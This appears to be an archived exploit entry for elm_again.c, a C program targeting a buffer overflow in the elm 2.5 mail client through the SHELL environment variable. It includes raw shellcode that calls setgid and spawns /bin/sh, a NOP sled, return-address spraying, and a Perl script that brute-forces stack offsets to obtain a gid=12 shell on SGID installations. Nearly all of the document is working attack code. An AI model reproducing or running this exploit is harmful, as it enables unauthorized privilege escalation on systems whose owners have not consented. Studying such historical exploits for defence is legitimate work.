elm_again.c exploits another buffer overflow in elm v2.5 giving a gid=12 shell if /usr/bin/elm is SGID. Tested on Slackware 3.6 and RedHat on elm2.5PL3.
a63af30bfc97eb80e07b9f38915a5c778463721196ce3c7f4a6bf9172b6729c7
/* (linux)elm[2.5(yes another)] buffer overflow, by v9[v9@fakehalo.org]. this
will give you a gid=12 shell if /usr/bin/elm is SGID(=2755). elm rejects
most user defined vars after 254<characters but SHELL, although it use to be
checked, for some reason or another isn't checked in newer versions of elm.
note: try offsets of 100, as noted in the perl script below. -400, -700
and 1400-1500 (roughly) worked on my old slackware 3.6(&redhat), which was
upgraded to elm 2.5PL3. i compiled and installed it from the latest
version i could find. it is possible you may need to modify this to your
system. (probably not)
personal note: i've never seen so many buffer overflows in a single package,
ever. also, elm may have "overflow checking", only accepting vars under 255
characters. but if you make a really big buffer, it will still overflow it.
it's like when they make newer versions more overflows occur. if i were you
i would recommend ditching elm and going towards a non-sgid/more stable
package. -- tested on elm 2.5 PL1-2. (redhat), and elm 2.5 PL3 (slack3.6).
did not overflow on my old 2.4 binary. (it checked it like it was suppost to)
here is a quick perl script to run offsets (until ctrl-c):
#!/usr/bin/perl
$i=$ARGV[0];
while(1){
print "offset: $i.\n";
system("./elm_again $i");
$i++; # or $i+=100; if you want to be speedy. (which you do)
} */
#define DEFAULT_OFFSET -700
static char exec[]=
"\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3\x0c\xcd\x80\x89\x76\x08\x31\xc0\x88"
"\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01";
long esp(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
char bof[256];
int i,offset;
long ret;
if(argc>1){offset=atoi(argv[1]);}
else{offset=DEFAULT_OFFSET;}
ret=(esp()-offset);
printf("return address: 0x%lx, offset: %d.\n",ret,offset);
for(i=3;i<256;i+=4){*(long *)&bof[i]=ret;}
for(i=0;i<(255-strlen(exec));i++){*(bof+i)=0x90;}
memcpy(bof+i,exec,strlen(exec));
setenv("SHELL",bof,1);
execlp("/usr/bin/elm","elm",0);
}